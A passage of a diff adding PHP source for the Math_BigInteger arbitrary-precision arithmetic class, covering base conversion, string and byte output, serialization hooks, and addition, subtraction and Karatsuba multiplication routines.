+                            $this->value = bcadd($this->value, 0x1000000 * ord($x[$i]) + ((ord($x[$i + 1]) << 16) | (ord($x[$i + 2]) << 8) | ord($x[$i + 3])), 0);
+                        }
+
+                        if ($this->is_negative) {
+                            $this->value = '-' . $this->value;
+                        }
+
+                        break;
+                    // converts a base-2**8 (big endian / msb) number to base-2**26 (little endian / lsb)
+                    default:
+                        while (strlen($x)) {
+                            $this->value[] = $this->_bytes2int($this->_base256_rshift($x, MATH_BIGINTEGER_BASE));
+                        }
+                }
+
+                if ($this->is_negative) {
+                    if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) {
+                        $this->is_negative = false;
+                    }
+                    $temp = $this->add(new Math_BigInteger('-1'));
+                    $this->value = $temp->value;
+                }
+                break;
+            case  16:
+            case -16:
+                if ($base > 0 && $x[0] == '-') {
+                    $this->is_negative = true;
+                    $x = substr($x, 1);
+                }
+
+                $x = preg_replace('#^(?:0x)?([A-Fa-f0-9]*).*#', '$1', $x);
+
+                $is_negative = false;
+                if ($base < 0 && hexdec($x[0]) >= 8) {
+                    $this->is_negative = $is_negative = true;
+                    $x = bin2hex(~pack('H*', $x));
+                }
+
+                switch ( MATH_BIGINTEGER_MODE ) {
+                    case MATH_BIGINTEGER_MODE_GMP:
+                        $temp = $this->is_negative ? '-0x' . $x : '0x' . $x;
+                        $this->value = gmp_init($temp);
+                        $this->is_negative = false;
+                        break;
+                    case MATH_BIGINTEGER_MODE_BCMATH:
+                        $x = ( strlen($x) & 1 ) ? '0' . $x : $x;
+                        $temp = new Math_BigInteger(pack('H*', $x), 256);
+                        $this->value = $this->is_negative ? '-' . $temp->value : $temp->value;
+                        $this->is_negative = false;
+                        break;
+                    default:
+                        $x = ( strlen($x) & 1 ) ? '0' . $x : $x;
+                        $temp = new Math_BigInteger(pack('H*', $x), 256);
+                        $this->value = $temp->value;
+                }
+
+                if ($is_negative) {
+                    $temp = $this->add(new Math_BigInteger('-1'));
+                    $this->value = $temp->value;
+                }
+                break;
+            case  10:
+            case -10:
+                // (?<!^)(?:-).*: find any -'s that aren't at the beginning and then any characters that follow that
+                // (?<=^|-)0*: find any 0's that are preceded by the start of the string or by a - (ie. octals)
+                // [^-0-9].*: find any non-numeric characters and then any characters that follow that
+                $x = preg_replace('#(?<!^)(?:-).*|(?<=^|-)0*|[^-0-9].*#', '', $x);
+
+                switch ( MATH_BIGINTEGER_MODE ) {
+                    case MATH_BIGINTEGER_MODE_GMP:
+                        $this->value = gmp_init($x);
+                        break;
+                    case MATH_BIGINTEGER_MODE_BCMATH:
+                        // explicitly casting $x to a string is necessary, here, since doing $x[0] on -1 yields different
+                        // results then doing it on '-1' does (modInverse does $x[0])
+                        $this->value = $x === '-' ? '0' : (string) $x;
+                        break;
+                    default:
+                        $temp = new Math_BigInteger();
+
+                        $multiplier = new Math_BigInteger();
+                        $multiplier->value = array(MATH_BIGINTEGER_MAX10);
+
+                        if ($x[0] == '-') {
+                            $this->is_negative = true;
+                            $x = substr($x, 1);
+                        }
+
+                        $x = str_pad($x, strlen($x) + ((MATH_BIGINTEGER_MAX10_LEN - 1) * strlen($x)) % MATH_BIGINTEGER_MAX10_LEN, 0, STR_PAD_LEFT);
+                        while (strlen($x)) {
+                            $temp = $temp->multiply($multiplier);
+                            $temp = $temp->add(new Math_BigInteger($this->_int2bytes(substr($x, 0, MATH_BIGINTEGER_MAX10_LEN)), 256));
+                            $x = substr($x, MATH_BIGINTEGER_MAX10_LEN);
+                        }
+
+                        $this->value = $temp->value;
+                }
+                break;
+            case  2: // base-2 support originally implemented by Lluis Pamies - thanks!
+            case -2:
+                if ($base > 0 && $x[0] == '-') {
+                    $this->is_negative = true;
+                    $x = substr($x, 1);
+                }
+
+                $x = preg_replace('#^([01]*).*#', '$1', $x);
+                $x = str_pad($x, strlen($x) + (3 * strlen($x)) % 4, 0, STR_PAD_LEFT);
+
+                $str = '0x';
+                while (strlen($x)) {
+                    $part = substr($x, 0, 4);
+                    $str.= dechex(bindec($part));
+                    $x = substr($x, 4);
+                }
+
+                if ($this->is_negative) {
+                    $str = '-' . $str;
+                }
+
+                $temp = new Math_BigInteger($str, 8 * $base); // ie. either -16 or +16
+                $this->value = $temp->value;
+                $this->is_negative = $temp->is_negative;
+
+                break;
+            default:
+                // base not supported, so we'll let $this == 0
+        }
+    }
+
+    /**
+     * Converts a BigInteger to a byte string (eg. base-256).
+     *
+     * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
+     * saved as two's compliment.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('65');
+     *
+     *    echo $a->toBytes(); // outputs chr(65)
+     * ?>
+     * </code>
+     *
+     * @param Boolean $twos_compliment
+     * @return String
+     * @access public
+     * @internal Converts a base-2**26 number to base-2**8
+     */
+    function toBytes($twos_compliment = false)
+    {
+        if ($twos_compliment) {
+            $comparison = $this->compare(new Math_BigInteger());
+            if ($comparison == 0) {
+                return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
+            }
+
+            $temp = $comparison < 0 ? $this->add(new Math_BigInteger(1)) : $this->copy();
+            $bytes = $temp->toBytes();
+
+            if (empty($bytes)) { // eg. if the number we're trying to convert is -1
+                $bytes = chr(0);
+            }
+
+            if (ord($bytes[0]) & 0x80) {
+                $bytes = chr(0) . $bytes;
+            }
+
+            return $comparison < 0 ? ~$bytes : $bytes;
+        }
+
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                if (gmp_cmp($this->value, gmp_init(0)) == 0) {
+                    return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
+                }
+
+                $temp = gmp_strval(gmp_abs($this->value), 16);
+                $temp = ( strlen($temp) & 1 ) ? '0' . $temp : $temp;
+                $temp = pack('H*', $temp);
+
+                return $this->precision > 0 ?
+                    substr(str_pad($temp, $this->precision >> 3, chr(0), STR_PAD_LEFT), -($this->precision >> 3)) :
+                    ltrim($temp, chr(0));
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                if ($this->value === '0') {
+                    return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
+                }
+
+                $value = '';
+                $current = $this->value;
+
+                if ($current[0] == '-') {
+                    $current = substr($current, 1);
+                }
+
+                while (bccomp($current, '0', 0) > 0) {
+                    $temp = bcmod($current, '16777216');
+                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
+                    $current = bcdiv($current, '16777216', 0);
+                }
+
+                return $this->precision > 0 ?
+                    substr(str_pad($value, $this->precision >> 3, chr(0), STR_PAD_LEFT), -($this->precision >> 3)) :
+                    ltrim($value, chr(0));
+        }
+
+        if (!count($this->value)) {
+            return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
+        }
+        $result = $this->_int2bytes($this->value[count($this->value) - 1]);
+
+        $temp = $this->copy();
+
+        for ($i = count($temp->value) - 2; $i >= 0; --$i) {
+            $temp->_base256_lshift($result, MATH_BIGINTEGER_BASE);
+            $result = $result | str_pad($temp->_int2bytes($temp->value[$i]), strlen($result), chr(0), STR_PAD_LEFT);
+        }
+
+        return $this->precision > 0 ?
+            str_pad(substr($result, -(($this->precision + 7) >> 3)), ($this->precision + 7) >> 3, chr(0), STR_PAD_LEFT) :
+            $result;
+    }
+
+    /**
+     * Converts a BigInteger to a hex string (eg. base-16)).
+     *
+     * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
+     * saved as two's compliment.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('65');
+     *
+     *    echo $a->toHex(); // outputs '41'
+     * ?>
+     * </code>
+     *
+     * @param Boolean $twos_compliment
+     * @return String
+     * @access public
+     * @internal Converts a base-2**26 number to base-2**8
+     */
+    function toHex($twos_compliment = false)
+    {
+        return bin2hex($this->toBytes($twos_compliment));
+    }
+
+    /**
+     * Converts a BigInteger to a bit string (eg. base-2).
+     *
+     * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
+     * saved as two's compliment.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('65');
+     *
+     *    echo $a->toBits(); // outputs '1000001'
+     * ?>
+     * </code>
+     *
+     * @param Boolean $twos_compliment
+     * @return String
+     * @access public
+     * @internal Converts a base-2**26 number to base-2**2
+     */
+    function toBits($twos_compliment = false)
+    {
+        $hex = $this->toHex($twos_compliment);
+        $bits = '';
+        for ($i = strlen($hex) - 8, $start = strlen($hex) & 7; $i >= $start; $i-=8) {
+            $bits = str_pad(decbin(hexdec(substr($hex, $i, 8))), 32, '0', STR_PAD_LEFT) . $bits;
+        }
+        if ($start) { // hexdec('') == 0
+            $bits = str_pad(decbin(hexdec(substr($hex, 0, $start))), 8, '0', STR_PAD_LEFT) . $bits;
+        }
+        $result = $this->precision > 0 ? substr($bits, -$this->precision) : ltrim($bits, '0');
+
+        if ($twos_compliment && $this->compare(new Math_BigInteger()) > 0 && $this->precision <= 0) {
+            return '0' . $result;
+        }
+
+        return $result;
+    }
+
+    /**
+     * Converts a BigInteger to a base-10 number.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('50');
+     *
+     *    echo $a->toString(); // outputs 50
+     * ?>
+     * </code>
+     *
+     * @return String
+     * @access public
+     * @internal Converts a base-2**26 number to base-10**7 (which is pretty much base-10)
+     */
+    function toString()
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                return gmp_strval($this->value);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                if ($this->value === '0') {
+                    return '0';
+                }
+
+                return ltrim($this->value, '0');
+        }
+
+        if (!count($this->value)) {
+            return '0';
+        }
+
+        $temp = $this->copy();
+        $temp->is_negative = false;
+
+        $divisor = new Math_BigInteger();
+        $divisor->value = array(MATH_BIGINTEGER_MAX10);
+        $result = '';
+        while (count($temp->value)) {
+            list($temp, $mod) = $temp->divide($divisor);
+            $result = str_pad(isset($mod->value[0]) ? $mod->value[0] : '', MATH_BIGINTEGER_MAX10_LEN, '0', STR_PAD_LEFT) . $result;
+        }
+        $result = ltrim($result, '0');
+        if (empty($result)) {
+            $result = '0';
+        }
+
+        if ($this->is_negative) {
+            $result = '-' . $result;
+        }
+
+        return $result;
+    }
+
+    /**
+     * Copy an object
+     *
+     * PHP5 passes objects by reference while PHP4 passes by value.  As such, we need a function to guarantee
+     * that all objects are passed by value, when appropriate.  More information can be found here:
+     *
+     * {@link http://php.net/language.oop5.basic#51624}
+     *
+     * @access public
+     * @see __clone()
+     * @return Math_BigInteger
+     */
+    function copy()
+    {
+        $temp = new Math_BigInteger();
+        $temp->value = $this->value;
+        $temp->is_negative = $this->is_negative;
+        $temp->generator = $this->generator;
+        $temp->precision = $this->precision;
+        $temp->bitmask = $this->bitmask;
+        return $temp;
+    }
+
+    /**
+     *  __toString() magic method
+     *
+     * Will be called, automatically, if you're supporting just PHP5.  If you're supporting PHP4, you'll need to call
+     * toString().
+     *
+     * @access public
+     * @internal Implemented per a suggestion by Techie-Michael - thanks!
+     */
+    function __toString()
+    {
+        return $this->toString();
+    }
+
+    /**
+     * __clone() magic method
+     *
+     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
+     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
+     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
+     * call Math_BigInteger::copy(), instead.
+     *
+     * @access public
+     * @see copy()
+     * @return Math_BigInteger
+     */
+    function __clone()
+    {
+        return $this->copy();
+    }
+
+    /**
+     *  __sleep() magic method
+     *
+     * Will be called, automatically, when serialize() is called on a Math_BigInteger object.
+     *
+     * @see __wakeup()
+     * @access public
+     */
+    function __sleep()
+    {
+        $this->hex = $this->toHex(true);
+        $vars = array('hex');
+        if ($this->generator != 'mt_rand') {
+            $vars[] = 'generator';
+        }
+        if ($this->precision > 0) {
+            $vars[] = 'precision';
+        }
+        return $vars;
+
+    }
+
+    /**
+     *  __wakeup() magic method
+     *
+     * Will be called, automatically, when unserialize() is called on a Math_BigInteger object.
+     *
+     * @see __sleep()
+     * @access public
+     */
+    function __wakeup()
+    {
+        $temp = new Math_BigInteger($this->hex, -16);
+        $this->value = $temp->value;
+        $this->is_negative = $temp->is_negative;
+        $this->setRandomGenerator($this->generator);
+        if ($this->precision > 0) {
+            // recalculate $this->bitmask
+            $this->setPrecision($this->precision);
+        }
+    }
+
+    /**
+     * Adds two BigIntegers.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('10');
+     *    $b = new Math_BigInteger('20');
+     *
+     *    $c = $a->add($b);
+     *
+     *    echo $c->toString(); // outputs 30
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $y
+     * @return Math_BigInteger
+     * @access public
+     * @internal Performs base-2**52 addition
+     */
+    function add($y)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_add($this->value, $y->value);
+
+                return $this->_normalize($temp);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $temp = new Math_BigInteger();
+                $temp->value = bcadd($this->value, $y->value, 0);
+
+                return $this->_normalize($temp);
+        }
+
+        $temp = $this->_add($this->value, $this->is_negative, $y->value, $y->is_negative);
+
+        $result = new Math_BigInteger();
+        $result->value = $temp[MATH_BIGINTEGER_VALUE];
+        $result->is_negative = $temp[MATH_BIGINTEGER_SIGN];
+
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Performs addition.
+     *
+     * @param Array $x_value
+     * @param Boolean $x_negative
+     * @param Array $y_value
+     * @param Boolean $y_negative
+     * @return Array
+     * @access private
+     */
+    function _add($x_value, $x_negative, $y_value, $y_negative)
+    {
+        $x_size = count($x_value);
+        $y_size = count($y_value);
+
+        if ($x_size == 0) {
+            return array(
+                MATH_BIGINTEGER_VALUE => $y_value,
+                MATH_BIGINTEGER_SIGN => $y_negative
+            );
+        } else if ($y_size == 0) {
+            return array(
+                MATH_BIGINTEGER_VALUE => $x_value,
+                MATH_BIGINTEGER_SIGN => $x_negative
+            );
+        }
+
+        // subtract, if appropriate
+        if ( $x_negative != $y_negative ) {
+            if ( $x_value == $y_value ) {
+                return array(
+                    MATH_BIGINTEGER_VALUE => array(),
+                    MATH_BIGINTEGER_SIGN => false
+                );
+            }
+
+            $temp = $this->_subtract($x_value, false, $y_value, false);
+            $temp[MATH_BIGINTEGER_SIGN] = $this->_compare($x_value, false, $y_value, false) > 0 ?
+                                          $x_negative : $y_negative;
+
+            return $temp;
+        }
+
+        if ($x_size < $y_size) {
+            $size = $x_size;
+            $value = $y_value;
+        } else {
+            $size = $y_size;
+            $value = $x_value;
+        }
+
+        $value[count($value)] = 0; // just in case the carry adds an extra digit
+
+        $carry = 0;
+        for ($i = 0, $j = 1; $j < $size; $i+=2, $j+=2) {
+            $sum = $x_value[$j] * MATH_BIGINTEGER_BASE_FULL + $x_value[$i] + $y_value[$j] * MATH_BIGINTEGER_BASE_FULL + $y_value[$i] + $carry;
+            $carry = $sum >= MATH_BIGINTEGER_MAX_DIGIT2; // eg. floor($sum / 2**52); only possible values (in any base) are 0 and 1
+            $sum = $carry ? $sum - MATH_BIGINTEGER_MAX_DIGIT2 : $sum;
+
+            $temp = MATH_BIGINTEGER_BASE === 26 ? intval($sum / 0x4000000) : ($sum >> 31);
+
+            $value[$i] = (int) ($sum - MATH_BIGINTEGER_BASE_FULL * $temp); // eg. a faster alternative to fmod($sum, 0x4000000)
+            $value[$j] = $temp;
+        }
+
+        if ($j == $size) { // ie. if $y_size is odd
+            $sum = $x_value[$i] + $y_value[$i] + $carry;
+            $carry = $sum >= MATH_BIGINTEGER_BASE_FULL;
+            $value[$i] = $carry ? $sum - MATH_BIGINTEGER_BASE_FULL : $sum;
+            ++$i; // ie. let $i = $j since we've just done $value[$i]
+        }
+
+        if ($carry) {
+            for (; $value[$i] == MATH_BIGINTEGER_MAX_DIGIT; ++$i) {
+                $value[$i] = 0;
+            }
+            ++$value[$i];
+        }
+
+        return array(
+            MATH_BIGINTEGER_VALUE => $this->_trim($value),
+            MATH_BIGINTEGER_SIGN => $x_negative
+        );
+    }
+
+    /**
+     * Subtracts two BigIntegers.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('10');
+     *    $b = new Math_BigInteger('20');
+     *
+     *    $c = $a->subtract($b);
+     *
+     *    echo $c->toString(); // outputs -10
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $y
+     * @return Math_BigInteger
+     * @access public
+     * @internal Performs base-2**52 subtraction
+     */
+    function subtract($y)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_sub($this->value, $y->value);
+
+                return $this->_normalize($temp);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $temp = new Math_BigInteger();
+                $temp->value = bcsub($this->value, $y->value, 0);
+
+                return $this->_normalize($temp);
+        }
+
+        $temp = $this->_subtract($this->value, $this->is_negative, $y->value, $y->is_negative);
+
+        $result = new Math_BigInteger();
+        $result->value = $temp[MATH_BIGINTEGER_VALUE];
+        $result->is_negative = $temp[MATH_BIGINTEGER_SIGN];
+
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Performs subtraction.
+     *
+     * @param Array $x_value
+     * @param Boolean $x_negative
+     * @param Array $y_value
+     * @param Boolean $y_negative
+     * @return Array
+     * @access private
+     */
+    function _subtract($x_value, $x_negative, $y_value, $y_negative)
+    {
+        $x_size = count($x_value);
+        $y_size = count($y_value);
+
+        if ($x_size == 0) {
+            return array(
+                MATH_BIGINTEGER_VALUE => $y_value,
+                MATH_BIGINTEGER_SIGN => !$y_negative
+            );
+        } else if ($y_size == 0) {
+            return array(
+                MATH_BIGINTEGER_VALUE => $x_value,
+                MATH_BIGINTEGER_SIGN => $x_negative
+            );
+        }
+
+        // add, if appropriate (ie. -$x - +$y or +$x - -$y)
+        if ( $x_negative != $y_negative ) {
+            $temp = $this->_add($x_value, false, $y_value, false);
+            $temp[MATH_BIGINTEGER_SIGN] = $x_negative;
+
+            return $temp;
+        }
+
+        $diff = $this->_compare($x_value, $x_negative, $y_value, $y_negative);
+
+        if ( !$diff ) {
+            return array(
+                MATH_BIGINTEGER_VALUE => array(),
+                MATH_BIGINTEGER_SIGN => false
+            );
+        }
+
+        // switch $x and $y around, if appropriate.
+        if ( (!$x_negative && $diff < 0) || ($x_negative && $diff > 0) ) {
+            $temp = $x_value;
+            $x_value = $y_value;
+            $y_value = $temp;
+
+            $x_negative = !$x_negative;
+
+            $x_size = count($x_value);
+            $y_size = count($y_value);
+        }
+
+        // at this point, $x_value should be at least as big as - if not bigger than - $y_value
+
+        $carry = 0;
+        for ($i = 0, $j = 1; $j < $y_size; $i+=2, $j+=2) {
+            $sum = $x_value[$j] * MATH_BIGINTEGER_BASE_FULL + $x_value[$i] - $y_value[$j] * MATH_BIGINTEGER_BASE_FULL - $y_value[$i] - $carry;
+            $carry = $sum < 0; // eg. floor($sum / 2**52); only possible values (in any base) are 0 and 1
+            $sum = $carry ? $sum + MATH_BIGINTEGER_MAX_DIGIT2 : $sum;
+
+            $temp = MATH_BIGINTEGER_BASE === 26 ? intval($sum / 0x4000000) : ($sum >> 31);
+
+            $x_value[$i] = (int) ($sum - MATH_BIGINTEGER_BASE_FULL * $temp);
+            $x_value[$j] = $temp;
+        }
+
+        if ($j == $y_size) { // ie. if $y_size is odd
+            $sum = $x_value[$i] - $y_value[$i] - $carry;
+            $carry = $sum < 0;
+            $x_value[$i] = $carry ? $sum + MATH_BIGINTEGER_BASE_FULL : $sum;
+            ++$i;
+        }
+
+        if ($carry) {
+            for (; !$x_value[$i]; ++$i) {
+                $x_value[$i] = MATH_BIGINTEGER_MAX_DIGIT;
+            }
+            --$x_value[$i];
+        }
+
+        return array(
+            MATH_BIGINTEGER_VALUE => $this->_trim($x_value),
+            MATH_BIGINTEGER_SIGN => $x_negative
+        );
+    }
+
+    /**
+     * Multiplies two BigIntegers
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger('10');
+     *    $b = new Math_BigInteger('20');
+     *
+     *    $c = $a->multiply($b);
+     *
+     *    echo $c->toString(); // outputs 200
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $x
+     * @return Math_BigInteger
+     * @access public
+     */
+    function multiply($x)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_mul($this->value, $x->value);
+
+                return $this->_normalize($temp);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $temp = new Math_BigInteger();
+                $temp->value = bcmul($this->value, $x->value, 0);
+
+                return $this->_normalize($temp);
+        }
+
+        $temp = $this->_multiply($this->value, $this->is_negative, $x->value, $x->is_negative);
+
+        $product = new Math_BigInteger();
+        $product->value = $temp[MATH_BIGINTEGER_VALUE];
+        $product->is_negative = $temp[MATH_BIGINTEGER_SIGN];
+
+        return $this->_normalize($product);
+    }
+
+    /**
+     * Performs multiplication.
+     *
+     * @param Array $x_value
+     * @param Boolean $x_negative
+     * @param Array $y_value
+     * @param Boolean $y_negative
+     * @return Array
+     * @access private
+     */
+    function _multiply($x_value, $x_negative, $y_value, $y_negative)
+    {
+        //if ( $x_value == $y_value ) {
+        //    return array(
+        //        MATH_BIGINTEGER_VALUE => $this->_square($x_value),
+        //        MATH_BIGINTEGER_SIGN => $x_sign != $y_value
+        //    );
+        //}
+
+        $x_length = count($x_value);
+        $y_length = count($y_value);
+
+        if ( !$x_length || !$y_length ) { // a 0 is being multiplied
+            return array(
+                MATH_BIGINTEGER_VALUE => array(),
+                MATH_BIGINTEGER_SIGN => false
+            );
+        }
+
+        return array(
+            MATH_BIGINTEGER_VALUE => min($x_length, $y_length) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ?
+                $this->_trim($this->_regularMultiply($x_value, $y_value)) :
+                $this->_trim($this->_karatsuba($x_value, $y_value)),
+            MATH_BIGINTEGER_SIGN => $x_negative != $y_negative
+        );
+    }
+
+    /**
+     * Performs long multiplication on two BigIntegers
+     *
+     * Modeled after 'multiply' in MutableBigInteger.java.
+     *
+     * @param Array $x_value
+     * @param Array $y_value
+     * @return Array
+     * @access private
+     */
+    function _regularMultiply($x_value, $y_value)
+    {
+        $x_length = count($x_value);
+        $y_length = count($y_value);
+
+        if ( !$x_length || !$y_length ) { // a 0 is being multiplied
+            return array();
+        }
+
+        if ( $x_length < $y_length ) {
+            $temp = $x_value;
+            $x_value = $y_value;
+            $y_value = $temp;
+
+            $x_length = count($x_value);
+            $y_length = count($y_value);
+        }
+
+        $product_value = $this->_array_repeat(0, $x_length + $y_length);
+
+        // the following for loop could be removed if the for loop following it
+        // (the one with nested for loops) initially set $i to 0, but
+        // doing so would also make the result in one set of unnecessary adds,
+        // since on the outermost loops first pass, $product->value[$k] is going
+        // to always be 0
+
+        $carry = 0;
+
+        for ($j = 0; $j < $x_length; ++$j) { // ie. $i = 0
+            $temp = $x_value[$j] * $y_value[0] + $carry; // $product_value[$k] == 0
+            $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+            $product_value[$j] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry);
+        }
+
+        $product_value[$j] = $carry;
+
+        // the above for loop is what the previous comment was talking about.  the
+        // following for loop is the "one with nested for loops"
+        for ($i = 1; $i < $y_length; ++$i) {
+            $carry = 0;
+
+            for ($j = 0, $k = $i; $j < $x_length; ++$j, ++$k) {
+                $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry;
+                $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+                $product_value[$k] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry);
+            }
+
+            $product_value[$k] = $carry;
+        }
+
+        return $product_value;
+    }
+
+    /**
+     * Performs Karatsuba multiplication on two BigIntegers
+     *
+     * See {@link http://en.wikipedia.org/wiki/Karatsuba_algorithm Karatsuba algorithm} and
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=120 MPM 5.2.3}.
+     *
+     * @param Array $x_value
+     * @param Array $y_value
+     * @return Array
+     * @access private
+     */
+    function _karatsuba($x_value, $y_value)
+    {
+        $m = min(count($x_value) >> 1, count($y_value) >> 1);
+
+        if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) {
+            return $this->_regularMultiply($x_value, $y_value);
+        }
+
+        $x1 = array_slice($x_value, $m);
+        $x0 = array_slice($x_value, 0, $m);
+        $y1 = array_slice($y_value, $m);
+        $y0 = array_slice($y_value, 0, $m);
+
+        $z2 = $this->_karatsuba($x1, $y1);
+        $z0 = $this->_karatsuba($x0, $y0);
+
+        $z1 = $this->_add($x1, false, $x0, false);
+        $temp = $this->_add($y1, false, $y0, false);
+        $z1 = $this->_karatsuba($z1[MATH_BIGINTEGER_VALUE], $temp[MATH_BIGINTEGER_VALUE]);
+        $temp = $this->_add($z2, false, $z0, false);
+        $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false);
+
+        $z2 = array_merge(array_fill(0, 2 * $m, 0), $z2);
+        $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0), $z1[MATH_BIGINTEGER_VALUE]);
+
+        $xy = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]);
+        $xy = $this->_add($xy[MATH_BIGINTEGER_VALUE], $xy[MATH_BIGINTEGER_SIGN], $z0, false);
+
+        return $xy[MATH_BIGINTEGER_VALUE];
+    }
+
+    /**
+     * Performs squaring
+     *
+     * @param Array $x
+     * @return Array
+     * @access private
+     */
+    function _square($x = false)
+    {
+        return count($x) < 2 * MATH_BIGINTEGER_KARATSUBA_CUTOFF ?
+            $this->_trim($this->_baseSquare($x)) :
+            $this->_trim($this->_karatsubaSquare($x));
+    }
+
+    /**
+     * Performs traditional squaring on two BigIntegers
+     *
+     * Squaring can be done faster than multiplying a number by itself can be.  See
+     * {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=7 HAC 14.2.4} /
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=141 MPM 5.3} for more information.
+     *
+     * @param Array $value
+     * @return Array
+     * @access private
+     */
+    function _baseSquare($value)
+    {
+        if ( empty($value) ) {
+            return array();
+        }
+        $square_value = $this->_array_repeat(0, 2 * count($value));
+
+        for ($i = 0, $max_index = count($value) - 1; $i <= $max_index; ++$i) {
+            $i2 = $i << 1;
+
+            $temp = $square_value[$i2] + $value[$i] * $value[$i];
+            $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+            $square_value[$i2] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry);
+
+            // note how we start from $i+1 instead of 0 as we do in multiplication.
+            for ($j = $i + 1, $k = $i2 + 1; $j <= $max_index; ++$j, ++$k) {
+                $temp = $square_value[$k] + 2 * $value[$j] * $value[$i] + $carry;
+                $carry = MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
+                $square_value[$k] = (int) ($temp - MATH_BIGINTEGER_BASE_FULL * $carry);
+            }
+
+            // the following line can yield values larger 2**15.  at this point, PHP should switch
+            // over to floats.
+            $square_value[$i + $max_index + 1] = $carry;
+        }
+
+        return $square_value;
+    }
+
+    /**
+     * Performs Karatsuba "squaring" on two BigIntegers
+     *
+     * See {@link http://en.wikipedia.org/wiki/Karatsuba_algorithm Karatsuba algorithm} and
+     * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=151 MPM 5.3.4}.
+     *
+     * @param Array $value
+     * @return Array
+     * @access private
+     */
+    function _karatsubaSquare($value)
+    {
+        $m = count($value) >> 1;
+
+        if ($m < MATH_BIGINTEGER_KARATSUBA_CUTOFF) {
+            return $this->_baseSquare($value);
+        }
+
+        $x1 = array_slice($value, $m);
+        $x0 = array_slice($value, 0, $m);
+
+        $z2 = $this->_karatsubaSquare($x1);
+        $z0 = $this->_karatsubaSquare($x0);
+
+        $z1 = $this->_add($x1, false, $x0, false);
+        $z1 = $this->_karatsubaSquare($z1[MATH_BIGINTEGER_VALUE]);
+        $temp = $this->_add($z2, false, $z0, false);
+        $z1 = $this->_subtract($z1, false, $temp[MATH_BIGINTEGER_VALUE], false);
+
+        $z2 = array_merge(array_fill(0, 2 * $m, 0), $z2);
+        $z1[MATH_BIGINTEGER_VALUE] = array_merge(array_fill(0, $m, 0), $z1[MATH_BIGINTEGER_VALUE]);
+
+        $xx = $this->_add($z2, false, $z1[MATH_BIGINTEGER_VALUE], $z1[MATH_BIGINTEGER_SIGN]);
+        $xx = $this->_add($xx[MATH_BIGINTEGER_VALUE], $xx[MATH_BIGINTEGER_SIGN], $z0, false);
+
+        return $xx[MATH_BIGINTEGER_VALUE];
+    }
+
+    /**
+     * Divides two BigIntegers.
+     *
